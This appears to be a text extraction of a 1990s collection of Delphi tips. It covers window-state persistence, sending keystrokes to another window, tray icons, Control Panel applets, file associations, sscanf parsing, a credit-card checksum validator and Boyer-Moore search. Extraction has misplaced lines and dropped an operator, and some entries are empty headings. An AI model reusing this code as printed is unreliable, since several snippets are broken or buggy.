{-----------------------------------------------------------------Windows restorer object class and related types. -------------------------------------------------------------------} EWinRestorer = class( Exception); TWhatSave = (default, size, location, state); STWhatSave = set of TWhatSave; TWinRestorer = class(TObject) protected mIniFile: string; mIniSect: string[80]; mIsInitialized: boolean; mDefaultWhat: STWhatSave; public constructor Create( TheApp: TApplication; LocalDir: boolean; DefaultWhatSave: STWhatSave); {If localDir is true, ini dir is the app dir. Else, ini dir is the windows dir.} procedure SaveWin(TheForm: TForm; What: STWhatSave); procedure SaveChildren(TheMDIForm: TForm; What: STWhatSave); procedure RestoreWin( TheForm: TForm; What: STWhatSave); procedure RestoreChildren(TheMDIForm: TForm; What: STWhatSave); property IniFileName: string read mIniFile; end; CONST WHATSAVE_ALL = [size, location, state]; VAR GlobalWinRestorer: TWinRestorer; IMPLEMENTATION Uses IniFiles; constructor TWinRestorer.create; var fname, path: string[100]; begin inherited create; {Calculate ini file name} if default in DefaultWhatSave then raise EWinRestorer.create( 'Attempt to initialize default window position paramaters with set ' + ' containing [default] item. ' + 'Default params may contain only members of [size, location, state]. ') else mDefaultWhat := DefaultWhatSave; fname := ChangeFileExt( ExtractFileName( TheApp.exeName), '.INI'); if LocalDir then begin {parse out path and add to file name} path := ExtractFilePath(TheApp.exeName); if path[length(path)] <> '\' then path := path + '\'; fname := path + fname; end; {fill object fields} mIniFile := fname; mIniSect := 'WindowsRestorer'; {It'd be nice to write some notes to a section called [WinRestorer Notes]} end; procedure TWinRestorer.RestoreWin; var FormNm, SectionNm: string[80]; ini: TIniFile; n,l,t,w,h: integer; {Left, Top Width, Height}
856
begin ini := TIniFile.create( mIniFile); TRY SectionNm := mIniSect; FormNm := TheForm.classname; if default in What then What := mDefaultWhat; {Update Window State if Necessary} if state in What then n := ini.ReadInteger( SectionNm, FormNm + '_WindowState', 0); case n of 1: TheForm.WindowState := wsMinimized; 2: TheForm.WindowState := wsNormal; 3: TheForm.WindowState := wsMaximized; end; {Update Size and Location if necessary.} with TheForm do begin l:=left; t:=top; h:=height; w:=width; end; {Save current vals.} if size in What then begin w := ini.ReadInteger( SectionNm, FormNm + '_Width', w); h := ini.ReadInteger( SectionNm, FormNm + '_Height', h); end; if location in What then begin t := ini.ReadInteger( SectionNm, FormNm + '_Top', t); l := ini.ReadInteger( SectionNm, FormNm + '_Left', l); end; TheForm.SetBounds(l,t,w,h); FINALLY ini.free; END; end; procedure TWinRestorer.RestoreChildren; var i: integer; begin if TheMDIForm.formstyle <> fsMDIForm then raise EWinRestorer.create('Attempting to save window sizes of children for a non MDI parent window.') else for i := 0 to TheMDIForm.MDIChildCount - 1 do RestoreWin( TheMDIForm.MDIChildren[i], what); end; procedure TWinRestorer.SaveWin; var FormNm, SectionNm: string[80];
w : STWhatsave; ini: TIniFile;
begin ini := TIniFile.create( mIniFile); TRY SectionNm := mIniSect; FormNm := TheForm.ClassName; if default in What then w := mDefaultWhat else w := mDefaultWhat; if size in w then begin ini.WriteInteger( SectionNm, FormNm + '_Width', TheForm.Width); ini.WriteInteger( SectionNm, FormNm + '_Height', TheForm.Height); end; if location in w then begin ini.WriteInteger( SectionNm, FormNm + '_Top', TheForm.Top); ini.WriteInteger( SectionNm, FormNm + '_Left', TheForm.Left); end; if state in w then case TheForm.WindowState of wsMinimized: ini.WriteInteger( SectionNm, FormNm + '_WindowState', 1); wsNormal: ini.WriteInteger( SectionNm, FormNm + '_WindowState', 2);
857
wsMaximized: end; FINALLY ini.free; END; end;
ini.WriteInteger( SectionNm, FormNm + '_WindowState', 3);
procedure TWinRestorer.SaveChildren; var i: integer; begin if TheMDIForm.formstyle <> fsMDIForm then raise EWinRestorer.create('Attempting to restore window sizes of children for a non MDI parent window.') else for i := 0 to TheMDIForm.MDIChildCount - 1 do SaveWin( TheMDIForm.MDIChildren[i], what); end; INITIALIZATION END.
{ This code came from Lloyd's help file! }
How: to determine name of StartUp group From: Allan Carlton
There is an entry in the registry under: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Start Menu
Which might give you the info you need
Finding Boot Drive From: "HIKI Takehito"
I found it in the Registry. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup
"BootDir" value may be BootDrive.
How to make a window system modal ? From: "Eric Lawrence"
858
Sending Keystrokes/Text to a Window... From: "David Zajac"
859
procedure SendKey(H: Hwnd; Key: char); var vKey, ScanCode, wParam: Word; lParam, ConvKey: longint; Shift, Ctrl: boolean; begin ConvKey:= OemKeyScan(ord(Key)); Shift:= (ConvKey and $00020000) <> 0; Ctrl:= (ConvKey and $00040000) <> 0; ScanCode:= ConvKey and $000000FF or $FF00; vKey:= ord(Key); wParam:= vKey; lParam:= longint(ScanCode) shl 16 or 1; if Shift then SendShift(H, true); if Ctrl then SendCtrl(H, true); SendMessage(H, WM_KEYDOWN, vKey, lParam); SendMessage(H, WM_CHAR, vKey, lParam); lParam:= lParam or $C0000000; SendMessage(H, WM_KEYUP, vKey, lParam); if Shift then SendShift(H, false); if Ctrl then SendCtrl(H, false); end; function EnumFunc(Handle: HWnd; TF: TForm1): Bool; Far; begin TF.AppWind:= 0; if GetWindowWord(Handle, GWW_HINSTANCE) = TF.AppInst then TF.AppWind:= Handle; result:= (TF.AppWind = 0); end; procedure TForm1.Button1Click(Sender: TObject); var Text: Array[0..255] of char; begin AppInst:= ShellExecute(Handle, 'open', 'notepad.exe', nil, '', SW_NORMAL); EnumWindows(@EnumFunc, longint(self)); AppWind:= GetWindow(AppWind, GW_CHILD); end; procedure TForm1.Button2Click(Sender: TObject); begin SendKey(AppWind, 'T'); SendKey(AppWind, 'e'); SendKey(AppWind, 's'); SendKey(AppWind, 't'); end; procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char); begin if AppWind <> 0 then SendKey(AppWind, Key); end; end.
Windows Messages Basics Can anybody out there send me some basic stuff about Windows Messages related to Delphi. All this WM_*** stuff is getting on my nerves, since I can't understand it.
[Jim Stanley, [email protected]] 860
All the Windows messages are listed in the Windows API help in your Delphi help topics. (I'm using D1, assume the same for future versions). The WM_ (and other) messages are essential to the way Windows works. You're well aware that Delphi is primarily an *event-driven* system; all those OnKeyPress, OnThis, OnThat methods. If you have the VCL source code, you'll find in there somewhere that those event handler methods are designed to *receive* particular Windows messages (and there are some threads in here showing how you can subclass a component and "teach" it to respond to other messages as well). Windows is constantly sending out those messages in response to actions performed by the user, and it's the business of the Delphi app (and of all Windows apps) to intercept them and handle them in ways you decide. Delphi puts a wrapper over most of the message system by creating the event handlers for components described above. In addition to recieving those messages, you can also *send* them as well. There are a couple of ways to work this: check out SendMessage and PostMessage (both native Win API functions), as well as the Delphi Perform method. The first two require you to use the Handle parameter of the component you're sending the message to, while Perform is a method belonging to that component. The messages go into the standard Windows message queue and are processed like every other message. Here's a trivial example: I want (for some bizarre reason) to insert a 'y' character whenever I type a '4' in a TMemo. [Think of automatically inserting a begin-end block or a closing parenthesis.) Now I could do a lot with the Memo's Lines property, but that gets pretty complex. A much simpler way of going about it is: procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char); begin if Key = '4' then SendMessage(Memo1.Handle, WM_CHAR, Word('y'), 0); end;
Another example is something we were doing here at Jacobs that used a lot of combo boxes. We wanted them to automatically drop down when the user pressed a key, which is (unfortunately) not standard behavior. Here's what we did: procedure TFormEffortRates.ComboBoxMaterialKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); var iShowing : integer; { other code, then... } begin { This tells you whether the combo is already dropped } iShowing := SendMessage((Sender as TComboBox).Handle, CB_GETDROPPEDSTATE, 0, 0); if iShowing = 0 then { drop the combo box } SendMessage((Sender as TComboBox).Handle, CB_SHOWDROPDOWN, 1,0); end;
Another good example is getting the line and column from a TMemo. You have to go into the API to do it. Here's a (not particularly efficient - no flames please!!) method of determining them: function TMDIChild.GetMemoColumn(const TheMemo : TMemo) : integer; begin Result := TheMemo.SelStart (SendMessage(TheMemo.Handle, EM_LINEINDEX, GetMemoLine(TheMemo), 0)); end;
861
function TMDIChild.GetMemoLine(const TheMemo : TMemo) : integer; begin Result := SendMessage(TheMemo.Handle, EM_LINEFROMCHAR, TheMemo.SelStart, 0); end;
Again, all these messages can be found in your API help. The instructions for using them are a little vague, but I'm sure everyone will be glad to help you should you need it. In short, API messages provide you with a way to fine-tune your applications to respond in exactly the way you want them to. I would consider it an advanced Delphi topic, but it sounds like one you're more than ready for.
Buttons in Win95 task bar Can anyone tell me of a way or a component or whatever else that will allow delphi 2 or 3 to place a button on the task bar much like what PowerDesk 2.0 Toolbar does.
[[email protected]] Here are the code snipits to do just that! // This needs to be in your public declarations @ the top of the pas file procedure TForm1.IconCallBackMessage( var Mess : TMessage ); message WM_USER + 100;
procedure TForm1.FormCreate(Sender: TObject); var nid : TNotifyIconData; begin with nid do begin cbSize := SizeOf( TNotifyIconData ); Wnd := Form1.Handle; uID := 1; uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP; uCallbackMessage := WM_USER + 100; hIcon := Application.Icon.Handle; szTip := 'This is the hint!'; end; Shell_NotifyIcon( NIM_ADD, @nid ); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); var nid : TNotifyIconData; begin with nid do begin cbSize := SizeOf( TNotifyIconData ); Wnd := Form1.Handle; uID := 1; uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP; uCallbackMessage := WM_USER + 100; hIcon := Application.Icon.Handle; szTip := 'This is the hint!'; // All the above is probably not needed. end; Shell_NotifyIcon( NIM_DELETE, @nid ); end;
862
procedure TForm1.IconCallBackMessage( var Mess : TMessage ); var sEventLog : String; begin case Mess.lParam of // Do whatever you wish here. For example popup up a menu on a right click. WM_LBUTTONDBLCLK : sEventLog := 'Left Double Click'; WM_LBUTTONDOWN : sEventLog := 'Left Down'; WM_LBUTTONUP : sEventLog := 'Left Up'; WM_MBUTTONDBLCLK : sEventLog := 'M Dbl'; WM_MBUTTONDOWN : sEventLog := 'M D'; WM_MBUTTONUP : sEventLog := 'M U'; WM_MOUSEMOVE : sEventLog := 'movement'; WM_MOUSEWHEEL : sEventLog := 'Wheel'; WM_RBUTTONDBLCLK : sEventLog := 'r dbl'; WM_RBUTTONDOWN : sEventLog := 'r down'; WM_RBUTTONUP : sEventLog := 'r up'; end; end;
Control Panel From: "Hiki Takehito"
If you use Delphi3, add Cpl unit at dpr file. I show you a sample code. ----------library Project1; {Change "program" to "library"} uses Cpl, {use Cpl unit} Windows, Forms, Unit1 in 'Unit1.pas' {Form1}; {$R *.RES} procedure ExecuteApp; begin Application.Initialize; Application.CreateForm(TForm1,Form1); Application.Run; end; {A callback function to export at Control Panel} function CPlApplet(hwndCPl: THandle; uMsg: DWORD; lParam1, lParam2: LongInt):LongInt;stdcall; var NewCplInfo:PNewCplInfo; begin Result:=0; case uMsg of {Initialization.Return True.} CPL_INIT: Result:=1; {Number of Applet.} CPL_GETCOUNT: Result:=1; {Transporting informations of this Applet to the Control Panel.}
863
CPL_NEWINQUIRE: begin NewCplInfo:=PNewCplInfo(lParam2); with NewCplInfo^ do begin dwSize:=SizeOf(TNewCplInfo); dwFlags:=0; dwHelpContext:=0; lData:=0; {An icon to display on Control Panel.} hIcon:=LoadIcon(HInstance,'MAINICON'); {Applet name} szName:='Project1'; {Description of this Applet.} szInfo:='This is a test Applet.'; szHelpFile:=''; end; end; {Executing this Applet.} CPL_DBLCLK: ExecuteApp; else Result:=0; end; end; {Exporting the function of CplApplet} exports CPlApplet; begin end.
To use this, change the extention from "dll" to "cpl". And put into the System folder. Applet means a piece of Control Panel.Display,Fonts,Mouse,System are all Applets.
Associate filetype [extension) From: Jeremy Collins
and set the "default" string value of this key to an "internal name" for your file type - for example MyApp.Document: HKEY_CLASSES_ROOT\ .ext\ Default = "MyApp.Document"
You then create another key with this name: HKEY_CLASSES_ROOT\ MyApp.Document\
Create a sub-key of this called "shell", a sub-key of *this* called "open" and a further subkey of "open" called "command". The default value uder this key is the location and name of your your application folled by "%1" which represents the filename parameter that Windows will pass to your executable: HKEY_CLASSES_ROOT\
864
MyApp.Document\ shell\ open\ command\ Default = "C:\myapp\myapp.exe %1"
You can do this in code with the TRegistry object, or use InstallShield, which can make registry changes for you. I'd advise doing both, in case the user trashes your registry entry. From: "Rodney E Geraghty" &tt;[email protected]> The easiest way I've found to do this is to modify the Extensions section of the win.ini file that is located in the Windows directory. This also works under Win 95 and will update the registry automatically under Win95. Look at the extensions section of the win.ini to see the format you have to use. Put IniFiles in your uses clause and then use something like this: var INIFile: TIniFile; begin try INIFile := TInifile.Create('WIN.INI'); INIFile.WriteString('Extensions','txt','c:\windows\notepad.exe ^.txt'); finally INIFile.Free; end; end;
This would associate *.txt files with Windows Notepad. If you had an app named MyApp in the c:\MyApps directory and your extension was *.MAP then you would change it like this: var INIFile: TIniFile; begin try INIFile := TInifile.Create('WIN.INI'); INIFile.WriteString('Extensions','map','c:\myapps\myapp.exe ^.map'); finally INIFile.Free; end; end;
This will work in both Win 3.11 and Win 95 and saves you from having to modify the Reqistry under Win 95. Not sure about Win NT (or Win95b) since I don't have a test machine available. Note that this is only the first part of the solution though since it will open the associated application but it won't load the file you clicked. To do this you have to read ParamStr(1), which would hold the full path of the file you clicked, and run the file name through your file opening routine.
Hide Start Button From: "Carsten Paasch"
865
C : Array[0..127] of Char; S : String; Begin Tray := FindWindow('Shell_TrayWnd', NIL); Child := GetWindow(Tray, GW_CHILD); While Child <> 0 do Begin If GetClassName(Child, C, SizeOf(C)) > 0 Then Begin S := StrPAS(C); If UpperCase(S) = 'BUTTON' then begin // IsWindowVisible(Child) startbutton_handle:=child; If Visi then ShowWindow(Child, 1) else ShowWindow(Child, 0); end; End; Child := GetWindow(Child, GW_HWNDNEXT); End; End;
Greying Close Button on system menu From: "Fred Hovey"
Please email me and tell me if you liked this page. Last modified 03/12/00 12:11:23
866
Miscellaneous 106. 107. 108. 109. 110. 111.
Compile Date How do I run a program? How to write text transparently on the canvas. using Textout Different colors for the lines in the DBCtrlGrid Overriding Virtual Methods SHAREWARE NAG EXAMPLE !!
112. 113.
Auto Scaling routine... Hint's Windowzmisc17
Compile Date Martin Larsson
I'm assuming you already do something like this, but for all those who haven't realised this workaround, write a program which outputs the current date to a text file and call it something like "today.inc". A DOS program works best ( run it from your autoexec.bat takes no time at all ), or stick a windows prog in you startup group/folder. "today.inc" will have the form const _day _date _month _year
: : : :
string[10] = 'Monday'; word = 12; word = 8; word = 1996;
Then, just do a {$I c:\today.inc} at the top of all your programs. Easy, although I agree - {$DATE} would be easier!
How do I run a program? From: Yeo Keng Hua
Check out FMXUTIL.PAS in Delphi examples: function ExecuteFile(const FileName, Params, DefaultDir: string; ShowCmd: Integer): THandle; var zFileName, zParams, zDir: array[0..79] of Char; begin Result := ShellExecute(Application.MainForm.Handle, nil, StrPCopy(zFileName, FileName), StrPCopy(zParams, Params), StrPCopy(zDir, DefaultDir), ShowCmd); end;
Called with the code : executeFile('maker.exe','text_file','c:\maker', SW_SHOWNORMAL);
How to write text transparently on the canvas. using Textout From: [email protected] This is a bit of code that came on a CD-ROM with a "How To Book" I bought.. The file is called "HowUtils.Pas" Fades Text in, and or out on a Canvas. function TFadeEffect.FadeInText(Target: TCanvas; X, Y: integer; FText: String): TRect; var Pic: TBitmap; W, H: integer; PicRect, TarRect: TRect; begin Pic := TBitmap.Create; Pic.Canvas.Font := Target.Font; W := Pic.Canvas.TextWidth(FText); H := Pic.Canvas.TextHeight(FText); Pic.Width := W; Pic.Height := H; PicRect := Rect(0, 0, W, H); TarRect := Rect(X, Y, X + W, Y + H); Pic.Canvas.CopyRect(PicRect, Target, TarRect); SetBkMode(Pic.Canvas.Handle, Transparent); Pic.Canvas.TextOut(0, 0, FText); FadeInto(Target, X, Y, Pic); Pic.Free; FadeInText := TarRect; end; procedure TFadeEffect.FadeOutText(Target: TCanvas; TarRect: TRect; Orig: TBitmap); var Pic: TBitmap; PicRect: TRect; begin Pic := TBitmap.Create; Pic.Width := TarRect.Right - TarRect.Left; Pic.Height := TarRect.Bottom - TarRect.Top; PicRect := Rect(0, 0, Pic.Width, Pic.Height);
868
Pic.Canvas.CopyRect(PicRect, Orig.Canvas, TarRect); FadeInto(Target, TarRect.Left, TarRect.Top, Pic); Pic.Free; end;
Different colors for the lines in the DBCtrlGrid Does anybody know how to set different colors for the lines in the DBCtrlGrid?
[Cory Lanou, [email protected]] use the drawColumnCell event. Also be sure to defautlDrawing false procedure TMain.ProjectGridDrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); begin projectGrid.canvas.brush.color := clWindow; projectGrid.canvas.fillRect(rect); if gdSelected in state then begin projectGrid.canvas.brush.color := clHighlight; if fsBold in projectGrid.canvas.font.style then begin projectGrid.canvas.font.color := clHighlightText; projectGrid.canvas.font.style := [fsBold]; end else projectGrid.canvas.font.color := clHighlightText; end else if gdFocused in state then begin projectGrid.canvas.brush.color := clWindow; if fsBold in projectGrid.canvas.font.style then begin projectGrid.canvas.font.color := clWindowText; projectGrid.canvas.font.style := [fsBold]; end else projectGrid.canvas.font.color := clWindowText; end else if gdFixed in state then begin projectGrid.canvas.brush.color := clHighlight; if fsBold in projectGrid.canvas.font.style then begin projectGrid.canvas.font.color := clHighlightText; projectGrid.canvas.font.style := [fsBold]; end else projectGrid.canvas.font.color := clHighlightText; end; with globalDataModule.qProjects do begin // test cirteria of record. Set properties to override the default; if fieldByName('EST_COMPL_DATE').asDateTime < date then projectgrid.Canvas.font.color := clRed; if compareStr(fieldByName('STAT_CODE').asString, 'HD') = 0 then projectgrid.Canvas.font.color := clOlive; if (compareStr(fieldByName('CHANGED').asString, 'Y') = 0) and
869
(fieldByName('ASSIGN_EMP_ID').asInteger = userRecord.UserId) then projectgrid.Canvas.font.style := [fsBold]; end; projectGrid.canvas.textOut(rect.left+2, rect.top+2, column.field.text); end;
Overriding Virtual Methods Anybody know what the difference is between OVERRIDING a virtual method and REPLACING it? I'm confused on this point.
[Brian Murray, [email protected]] Say you have a class TMyObject = class (TObject)
and a subclass TOverrideObject = class (TMyObject)
Further, TMyObject has a Wiggle method: procedure Wiggle; virtual;
and TOverrideObject overrides Wiggle procedure Wiggle; override;
and you've written the implementations for both. Now, you create a TList containing a whole bunch of MyObjects and OverrideObjects in the TList.Items[n] property. The Items property is a pointer so to call your Wiggle method you have to cast Items. Now you could do this: if TObject(Items[1]) is TMyObject then TMyObject(Items[1]).Wiggle else if TObject(Items[1]) is TOverrideObject then TOverrideObject(Items[1]).Wiggle;
but the power of polymorphism (and the override directive) allows you to do this: TMyObject(Items[1]).Wiggle;
your application will look at the specific object instance pointed to by Items[1] and say "yes this is a TMyObject, but, more specifically, it is a TOverrideObject; and since the Wiggle method is a virtual method and since TOverrideObject has an overridden Wiggle method I'm going to execute the TOverrideObject.Wiggle method NOT the TMyObject.Wiggle method." Now, say you left out the override directive in the declaration of the TOverrideObject.Wiggle method and then tried TMyObject(Items[1]).Wiggle;
The application would look and see that even though Items[1] is really a TOverrideObject, it has no overridden version of the Wiggle method so the application will execute TMyObject.Wiggle NOT TOverrideObject.Wiggle (which may or may not be what you want). So, overriding a method means declaring the method with the virtual (or dynamic) directive in a base class and then declaring it with the override directive in a sub class. Replacing a method means declaring it in the subclass without the override directive. Overriden methods of a subclass can be executed even when a specific instance of the subclass is cast as its base class. Replaced methods can only be executed if the specific instance is cast as the specific class. 870
SHAREWARE NAG EXAMPLE !! From: Karsten Heitmann
The advantages here are that you leave all the functionallity at the users disposal, but the moment he closes the program, its bootie-time, folks ! All you got to do is write some obscure text and save it in the Windows global atom table.
Auto Scaling routine... From: [email protected] (Randy) This routine has made life very very easy. This routine will insure that your application will look scaled at ANY resolution. Notice the 640 reference. This is because I develop apps in 640x480. You can adjust the routine to work from what YOU develop in so you dont have to worry about the odd and big screen resolutions that your users may have. Place, in the OnCreate event of the form you want auto-scaled: AdjustResolution(Self);
{ AdjustResolution ******************************************************* { This procedure scales all the children on a given form to conform to the { current screen resolution { ************************************************************************ procedure AdjustResolution(oForm:TForm); var iPercentage:integer; begin
} } } }
871
if Screen.Width > 640 then begin iPercentage:=Round(((Screen.Width-640)/640)*100)+100; oForm.ScaleBy(iPercentage,100); end; end;
Hint's Window From: Andreas Hoerstemeier
Please email me and tell me if you liked this page. Last modified 03/12/00 12:11:27
872
Miscellaneous Part 2 114. 115. 116. 117. 118. 119. 120. 121.
Moving from VB to Delphi sscanf in delphi? Supporting Cut Copy Paste Multiple icons in a Delphi exe? Credit card verification Searching text in a textfile Cool tip for hints on status bars Calling a Procedure with it's name in a variable
Moving from VB to Delphi The Graphical Gnome
sscanf in delphi? From: [email protected] (Barry) A kind soul sent me the following unit a while ago. I have found it quite useful, but there may be a problem with the %s tag since its use has generated errors on occasion. unit Scanf; interface uses SysUtils; type EFormatError = class(ExCeption); function Sscanf(const s: string; const fmt : string; const Pointers : array of Pointer) : Integer; implementation { Sscanf parses an input string. The parameters ... s - input string to parse fmt - 'C' scanf-like format string to control parsing %d - convert a Long Integer %f - convert an Extended Float %s - convert a string (delimited by spaces)
873
other char - increment s pointer past "other char" space - does nothing Pointers - array of pointers to have values assigned result - number of variables actually assigned for example with ... Sscanf('Name. Bill Time. 7:32.77 Age. 8', '. %s . %d:%f . %d', [@Name, @hrs, @min, @age]); You get ... Name = Bill
hrs = 7
min = 32.77
age = 8
}
function Sscanf(const s: string; const fmt : string; const Pointers : array of Pointer) : Integer; var i,j,n,m : integer; s1 : string; L : LongInt; X : Extended; function GetInt : Integer; begin s1 := ''; while (s[n] = ' ') and (Length(s) > n) do inc(n); while (s[n] in ['0'..'9', '+', '-']) and (Length(s) >= n) do begin s1 := s1+s[n]; inc(n); end; Result := Length(s1); end; function GetFloat : Integer; begin s1 := ''; while (s[n] = ' ') and (Length(s) > n) do inc(n); while (s[n] in ['0'..'9', '+', '-', '.', 'e', 'E']) and (Length(s) >= n) do begin s1 := s1+s[n]; inc(n); end; Result := Length(s1); end; function GetString : Integer; begin s1 := ''; while (s[n] = ' ') and (Length(s) > n) do inc(n); while (s[n] <> ' ') and (Length(s) >= n) do begin s1 := s1+s[n]; inc(n); end; Result := Length(s1); end; function ScanStr(c : Char) : Boolean; begin while (s[n] <> c) and (Length(s) > n) do inc(n); inc(n); If (n <= Length(s)) then Result := True else Result := False; end;
874
function GetFmt : Integer; begin Result := -1; while (TRUE) do begin while (fmt[m] = ' ') and (Length(fmt) > m) do inc(m); if (m >= Length(fmt)) then break; if (fmt[m] = '%') then begin inc(m); case fmt[m] of 'd': Result := vtInteger; 'f': Result := vtExtended; 's': Result := vtString; end; inc(m); break; end; if (ScanStr(fmt[m]) = False) then break; inc(m); end; end; begin n := 1; m := 1; Result := 0; for i := 0 to High(Pointers) do begin j := GetFmt; case j of vtInteger : begin if GetInt > 0 then begin L := StrToInt(s1); Move(L, Pointers[i]^, SizeOf(LongInt)); inc(Result); end else break; end; vtExtended : begin if GetFloat > 0 then begin X := StrToFloat(s1); Move(X, Pointers[i]^, SizeOf(Extended)); inc(Result); end else break; end; vtString : begin if GetString > 0 then begin Move(s1, Pointers[i]^, Length(s1)+1); inc(Result); end else break; end; else break; end; end; end; end.
875
Supporting Cut Copy Paste From: "Shejchenko Andrij"
Multiple icons in a Delphi exe? From: [email protected] (Jani Järvinen) Does anyone know how to get Delphi to place mutliple icons into one executable? ie so that when you set up a file type and browse your Delphi compiled application you get a number of icons, not just the single one you'd get by specifying an icon under Project|Options|Application|Icon
Just create a resource file (.res) for example with Image Editor, and store your icons there. Then link in the resource with the $R compiler directive, and your app has multiple icons.
Credit card verification From: [email protected] (Brian Near) unit Creditc; {***************************************************************************** Credit Card Number Validator Unit for Delphi
876
Version: 1.1 Date: December 20, 1996 This unit is based on the public domain program ccard by Peter Miller. It is released to the public for free of charge use, but the author reserves all rights. copyright 1996 by Shawn Wilson Harvell ( [email protected] ) usage: Add this unit to the uses clause of any unit that needs access to the validation function. IsValidCreditCardNumber( CardNumber, ReturnMessage ) returns Boolean for example, use it in an if statement that Messages user if invalid. CardNumber is a string containing the number that you want to validate ReturnMessage is a string where the function can place any messages it may return ( meaning that it will overwrite whatever is in it ) returns true if valid, false otherwise. dashes and space in the input value are taken care of by the function, if other characters are possible, you may wish to remove them as well. The function RemoveChar will take care of this quite easily, simply pass the input string and the char you wish to delete. Users are free to modify this unit for their own use, but in distributing you should advise all users of the changes made. Use this unit at your own risk, it does not come with any warranties either express or implied. Damages resulting from the use of this unit are the sole responsibility of the user. This should work as is for Delphi versions 1 and 2, some slight modifications may be necessary for Turbo Pascal ( mainly due to use to conversion functions from the SysUtils unit ). If you do find this useful, have any comments or suggestions, please drop the author an email at [email protected] Revision History version 1.1 -- December 20, 1996 blooper with Discover cards, added their length mask to the "database" version 1.0 -- October 26, 1996 initial release *****************************************************************************} interface uses SysUtils; function IsValidCreditCardNumber( CardNumber: String; var MessageText: String ): Boolean; implementation const
877
CardPrefixes: array[ 1..19 ] of string = ( '2014', '2149', '300', '301', '302', '303', '304', '305', '34', '36', '37', '38', '4', '51', '52', '53', '54', '55', '6011' ); CardTypes: array[ 1..19 ] of String = ( 'enRoute', 'enRoute', 'Diner Club/Carte Blanche', 'Diner Club/Carte Blanche', 'Diner Club/Carte Blanche', 'Diner Club/Carte Blanche', 'Diner Club/Carte Blanche', 'Diner Club/Carte Blanche', 'American Express', 'Diner Club/Carte Blanche', 'American Express', 'Diner Club/Carte Blanche', 'Visa', 'MasterCard', 'MasterCard', 'MasterCard', 'MasterCard', 'MasterCard', 'Discover' ); function RemoveChar(const Input: String; DeletedChar: Char): String; var Index: Word; { counter variable } begin { all this function does is iterate through string looking for char, if found } { it deletes it } Result := Input; for Index := Length( Result ) downto 1 do if Result[ Index ] = DeletedChar then Delete( Result, Index, 1 ); end; function ShiftMask( Input: Integer ): Integer; begin { simply a wrapper for this left bit shift operation } result := ( 1 shl ( Input - 12 ) ); end; function ConfirmChecksum( CardNumber: String ): Boolean; var CheckSum: Integer; { Holds the value of the operation } Flag: Boolean; { used to indicate when ready } Counter: Integer; { index counter } PartNumber: String; { used to extract each digit of number } Number: Integer; { used to convert each digit to integer } begin {************************************************************************** This is probably the most confusing part of the code you will see, I know that it is some of the most confusing I have ever seen. Basically, this function is extracting each digit of the number and subjecting it to the
878
checksum formula established by the credit card companies. It works from the end to the front. **************************************************************************} { get the starting value for our counter } Counter := Length( CardNumber ); CheckSum := 0; PartNumber := ''; Number := 0; Flag := false; while ( Counter >= 1 ) do begin { get the current digit } PartNumber := Copy( CardNumber, Counter, 1 ); Number := StrToInt( PartNumber ); { convert to integer } if ( Flag ) then { only do every other digit } begin Number := Number * 2; if ( Number >= 10 ) then Number := Number - 9; end; CheckSum := CheckSum + Number; Flag := not( Flag ); Counter := Counter - 1; end; result := ( ( CheckSum mod 10 ) = 0 ); end; function GetMask( CardName: String begin { the default case } result := 0;
): Integer;
if ( CardName = 'MasterCard' ) then result := ShiftMask( 16 ); if ( CardName = 'Visa' ) then result := ( ShiftMask( 13 ) or ShiftMask( 16 ) );
if ( CardName = 'American Express' ) then result := ShiftMask( 15 ); if ( CardName = 'Diner Club/Carte Blanche' ) then result := ShiftMask( 14 ); if ( CardName = 'Discover' ) then result := ShiftMask( 16 );
end; function IsValidCreditCardNumber( Boolean; var StrippedNumber: String; chars } Index: Integer; } TheMask: Integer; } FoundIt: Boolean; } CardName: String; } PerformChecksum: Boolean; } begin
CardNumber: String; var MessageText: String ): { used to hold the number bereft of extra { general purpose counter for loops, etc { number we will use for the mask { used to indicate when something is found { stores the name of the type of card { the enRoute type of card doesn't get it
{ first, get rid of spaces, dashes } StrippedNumber := RemoveChar( CardNumber, ' ' ); StrippedNumber := RemoveChar( StrippedNumber, '-' );
879
{ if the string was zero length, then OK too } if ( StrippedNumber = '' ) then begin result := true; exit; end; { initialize return variables } MessageText := ''; result := true; { set our flag variable } FoundIt := false; { check for invalid characters right off the bat } for Index := 1 to Length( StrippedNumber ) do begin case StrippedNumber[ Index ] of '0'..'9': FoundIt := FoundIt; { non op in other words } else MessageText := 'Invalid Characters in Input'; result := false; exit; end; end; { now let's determine what type of card it is } for Index := 1 to 19 do begin if ( Pos( CardPrefixes[ Index ], StrippedNumber ) = 1 ) then begin { we've found the right one } FoundIt := true; CardName := CardTypes[ Index ]; TheMask := GetMask( CardName ); end; end; { if we didn't find it, indicates things are already ary } if ( not FoundIt ) then begin CardName := 'Unknown Card Type'; TheMask := 0; MessageText := 'Unknown Card Type '; result := false; exit; end; { check the length } if ( ( Length( StrippedNumber ) > 28 ) and result ) then begin MessageText := 'Number is too long '; result := false; exit; end; { check the length } if ( ( Length( StrippedNumber ) < 12 ) or ( ( shiftmask( length( strippednumber ) ) and themask ) = 0 ) ) then begin messagetext := 'number length incorrect'; result := false; exit; end;
880
{ check the checksum computation } if ( cardname = 'enroute' ) then performchecksum := false else performchecksum := true; if ( performchecksum and ( not confirmchecksum( strippednumber ) ) ) then begin messagetext := 'bad checksum'; result := false; exit; end; { if result is still true, then everything is ok } if ( result ) then messagetext := 'number ok: card type: ' + cardname; { if the string was zero length, then ok too } if ( strippednumber = '' ) then result := true; end; end.
Searching text in a textfile Anyone knows which is the best way (speed) to look for a string in a textFile. unit BMSearch; (* ------------------------------------------------------------------Boyer-Moore string searching. This is one of the fastest string search algorithms. See a description in: R. Boyer and S. Moore. A fast string searching algorithm. Communications of the ACM 20, 1977, Pags 762-772 ------------------------------------------------------------------- *) interface type {$ifdef WINDOWS} size_t = Word; {$else} size_t = LongInt; {$endif} type TTranslationTable = array[char] of char; TSearchBM = class(TObject) private FTranslate : TTranslationTable;
{ translation table }
{ translation table }
881
FJumpTable FShift_1 FPattern FPatternLen
